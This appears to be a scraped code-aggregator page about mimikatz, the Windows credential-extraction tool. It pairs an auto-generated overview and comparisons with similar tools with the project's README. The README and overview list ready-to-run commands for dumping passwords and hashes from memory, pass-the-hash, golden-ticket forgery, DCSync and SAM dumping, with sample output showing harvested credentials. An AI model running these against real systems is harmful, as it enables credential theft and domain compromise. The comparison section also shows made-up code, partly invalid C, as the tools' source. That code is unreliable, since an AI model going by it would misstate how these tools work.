Convert Figma logo to code with AI

gentilkiwi logomimikatz

A little tool to play with Windows security

19,244
3,680
19,244
174

Top Related Projects

Mimikatz implementation in pure Python

9,431

Credentials recovery project

Six Degrees of Domain Admin

PowerSploit - A PowerShell Post-Exploitation Framework

Quick Overview

Mimikatz is a powerful open-source security tool developed by Benjamin Delpy. It is primarily used for extracting plaintext passwords, hashes, PIN codes, and Kerberos tickets from memory on Windows systems. Mimikatz is widely recognized in both offensive and defensive security communities for its capabilities in demonstrating and analyzing Windows security vulnerabilities.

Pros

  • Highly effective at extracting various types of credentials from Windows systems
  • Regularly updated to keep pace with Windows security changes
  • Valuable tool for security professionals to test and improve system defenses
  • Offers a wide range of modules and functionalities beyond just password extraction

Cons

  • Can be misused by malicious actors for unauthorized access and credential theft
  • May trigger antivirus software and other security measures
  • Requires elevated privileges to run most functions, limiting its use in some scenarios
  • Learning curve can be steep for users unfamiliar with Windows internals

Code Examples

Mimikatz is not a code library but a standalone tool. Therefore, code examples are not applicable in the traditional sense. However, here are some command examples used within the Mimikatz console:

# Dump all credentials from memory
sekurlsa::logonpasswords

# Export Kerberos tickets
kerberos::list /export

# Perform Pass-the-Hash attack
sekurlsa::pth /user:Administrator /ntlm:hash /domain:contoso.com

Getting Started

To use Mimikatz:

  1. Download the latest release from the GitHub repository.
  2. Run mimikatz.exe as an administrator.
  3. In the Mimikatz console, use privilege::debug to ensure you have the necessary privileges.
  4. Execute desired commands, such as sekurlsa::logonpasswords to dump credentials.

Note: Use Mimikatz responsibly and only on systems you own or have explicit permission to test.

Competitor Comparisons

Pros of ParrotSec Mimikatz

  • More frequent updates and maintenance
  • Tailored for Parrot OS, potentially offering better integration
  • May include additional features or optimizations specific to Parrot OS

Cons of ParrotSec Mimikatz

  • Limited to Parrot OS ecosystem, potentially less versatile
  • Smaller community and less widespread adoption
  • May lag behind the original in terms of new feature implementations

Code Comparison

Mimikatz (original):

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
	switch (ul_reason_for_call)
	{
		case DLL_PROCESS_ATTACH:
			kuhl_m_sekurlsa_utils_my_LdrEnumModulesCallback(NULL, 0, NULL);
			break;
		case DLL_PROCESS_DETACH:
			break;
	}
	return TRUE;
}

ParrotSec Mimikatz:

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
	switch (ul_reason_for_call)
	{
		case DLL_PROCESS_ATTACH:
			kuhl_m_sekurlsa_utils_my_LdrEnumModulesCallback(NULL, 0, NULL);
			// Additional Parrot OS specific initialization
			break;
		case DLL_PROCESS_DETACH:
			// Parrot OS specific cleanup
			break;
	}
	return TRUE;
}

Note: The code comparison is hypothetical, as the actual differences may vary. The ParrotSec version might include additional OS-specific optimizations or features.

Mimikatz implementation in pure Python

Pros of pypykatz

  • Written in Python, making it more portable and easier to integrate with other Python-based tools
  • Can be used as a library, allowing for more flexible integration in custom scripts
  • Supports parsing offline memory dumps and hibernation files

Cons of pypykatz

  • Generally slower performance compared to the C-based Mimikatz
  • May have less comprehensive coverage of Windows security features
  • Potentially less frequently updated than the original Mimikatz

Code Comparison

Mimikatz (C):

BOOL WINAPI kuhl_m_sekurlsa_acquireLSA()
{
    NTSTATUS status = STATUS_NOT_FOUND;
    KULL_M_MEMORY_TYPE Type;
    PKULL_M_MEMORY_HANDLE hMemLSA = NULL;
    KUHL_M_SEKURLSA_CONTEXT cLsass = {NULL, {0, 0, 0}};

pypykatz (Python):

def get_lsa_decryptor(reader, lsa_decryptor_factory):
    lsa_dec = lsa_decryptor_factory(reader)
    lsa_dec.load()
    return lsa_dec

def get_wdigest(sysinfo, reader, lsa_decryptor):
    wdigest = wdigest_decryptor(sysinfo, reader, lsa_decryptor)
    wdigest.start()
    return wdigest
9,431

Credentials recovery project

Pros of LaZagne

  • Multi-platform support (Windows, Linux, macOS)
  • Broader scope of credential retrieval (browsers, email clients, databases, etc.)
  • Modular architecture allowing easy addition of new modules

Cons of LaZagne

  • Less focused on deep Windows credential extraction
  • May require more setup and dependencies
  • Not as widely recognized or battle-tested as Mimikatz

Code Comparison

LaZagne (Python):

def run_lazagne(category_selected="all", subcategories={}, password=None):
    for category in category_selected:
        for module in get_categories()[category]:
            try:
                mod = import_module(module)
                pwd_found = mod.run(password)
                # Process and store results
            except Exception:
                pass

Mimikatz (C):

NTSTATUS kuhl_m_sekurlsa_msv(int argc, wchar_t * argv[])
{
    return kuhl_m_sekurlsa_getLogonData(lsasrv, kuhl_m_sekurlsa_enum_logon_callback_msv, NULL);
}

The code snippets highlight LaZagne's modular approach using Python, while Mimikatz employs low-level C for direct Windows API interaction.

Six Degrees of Domain Admin

Pros of BloodHound

  • Provides a comprehensive visual representation of Active Directory relationships
  • Offers powerful path-finding capabilities for identifying attack vectors
  • Supports extensibility through custom queries and data ingestion

Cons of BloodHound

  • Requires more setup and configuration compared to Mimikatz
  • May generate significant network traffic during data collection
  • Limited to Active Directory environments, while Mimikatz has broader application

Code Comparison

BloodHound (Cypher query example):

MATCH p = shortestPath((u:User)-[r:MemberOf|HasSession|AdminTo*1..]->(c:Computer))
WHERE u.name = 'JohnDoe'
RETURN p

Mimikatz (command example):

privilege::debug
sekurlsa::logonpasswords

While BloodHound focuses on graph-based analysis of Active Directory, Mimikatz is primarily used for extracting credentials and performing various authentication-related tasks. The code examples highlight their different approaches: BloodHound uses Cypher queries for relationship analysis, while Mimikatz employs direct system commands for credential extraction.

PowerSploit - A PowerShell Post-Exploitation Framework

Pros of PowerSploit

  • Written in PowerShell, making it more accessible and easier to integrate into existing Windows environments
  • Offers a wider range of post-exploitation tools and modules beyond just credential harvesting
  • Can be run entirely in memory, reducing the risk of detection by antivirus software

Cons of PowerSploit

  • Less effective at extracting credentials from memory compared to Mimikatz
  • May be more easily detected by modern security solutions due to PowerShell's increased scrutiny
  • Requires PowerShell to be enabled on the target system, which may not always be the case

Code Comparison

Mimikatz (C):

BOOL WINAPI sekurlsa::AcquireKeys(PKIWI_BCRYPT_KEY_DATA *pKeys, PVOID pContext)
{
    BOOL status = FALSE;
    PKIWI_BCRYPT_KEY_DATA keys = NULL;
    // ... (additional code)
}

PowerSploit (PowerShell):

function Get-Keystrokes
{
    [CmdletBinding()] Param (
        [Parameter(Position = 0, Mandatory = $False)] [Int32] $LogLength = 0,
        [Parameter(Position = 1, Mandatory = $False)] [Int32] $Timeout = 0
    )
    # ... (additional code)
}

Convert Figma logo designs to code with AI

Visual Copilot

Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.

Try Visual Copilot

README

mimikatz

mimikatz is a tool I've made to learn C and make somes experiments with Windows security.

It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets.

  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr  6 2014 22:02:03)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   https://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                    with  13 modules * * */


mimikatz # privilege::debug
Privilege '20' OK
 
mimikatz # sekurlsa::logonpasswords
 
Authentication Id : 0 ; 515764 (00000000:0007deb4)
Session           : Interactive from 2
User Name         : Gentil Kiwi
Domain            : vm-w7-ult-x
SID               : S-1-5-21-1982681256-1210654043-1600862990-1000
        msv :
         [00000003] Primary
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
         * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
        tspkg :
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * Password : waza1234/
...

But that's not all! Crypto, Terminal Server, Events, ... lots of informations in the GitHub Wiki https://github.com/gentilkiwi/mimikatz/wiki or on https://blog.gentilkiwi.com (in French, yes).

If you don't want to build it, binaries are availables on https://github.com/gentilkiwi/mimikatz/releases

Quick usage

log
privilege::debug

sekurlsa

sekurlsa::logonpasswords
sekurlsa::tickets /export

sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd

kerberos

kerberos::list /export
kerberos::ptt c:\chocolate.kirbi

kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi

crypto

crypto::capi
crypto::cng

crypto::certificates /export
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE

crypto::keys /export
crypto::keys /machine /export

vault & lsadump

vault::cred
vault::list

token::elevate
vault::cred
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert

lsadump::dcsync /user:domain\krbtgt /domain:lab.local

Build

mimikatz is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are:

mimikatz uses SVN for source control, but is now available with GIT too! You can use any tools you want to sync, even incorporated GIT in Visual Studio 2013 =)

Synchronize!

Build the solution

  • After opening the solution, Build / Build Solution (you can change architecture)
  • mimikatz is now built and ready to be used! (Win32 / x64 even ARM64 if you're lucky)
    • you can have error MSB3073 about _build_.cmd and mimidrv, it's because the driver cannot be build without Windows Driver Kit 7.1 (WinDDK), but mimikatz and mimilib are OK.

ddk2003

With this optional MSBuild platform, you can use the WinDDK build tools, and the default msvcrt runtime (smaller binaries, no dependencies)

For this optional platform, Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 and Visual Studio 2010 are mandatory, even if you plan to use Visual Studio 2012 or 2013 after.

Follow instructions:

Continuous Integration

mimikatz project is available on AppVeyor - https://ci.appveyor.com/project/gentilkiwi/mimikatz

Its status is: AppVeyor CI status

Licence

CC BY 4.0 licence - https://creativecommons.org/licenses/by/4.0/

mimikatz needs coffee to be developed:

Author

  • Benjamin DELPY gentilkiwi, you can contact me on Twitter ( @gentilkiwi ) or by mail ( benjamin [at] gentilkiwi.com )
  • DCSync and DCShadow functions in lsadump module were co-writed with Vincent LE TOUX, you can contact him by mail ( vincent.letoux [at] gmail.com ) or visit his website ( http://www.mysmartlogon.com )

This is a personal development, please respect its philosophy and don't use it for bad things!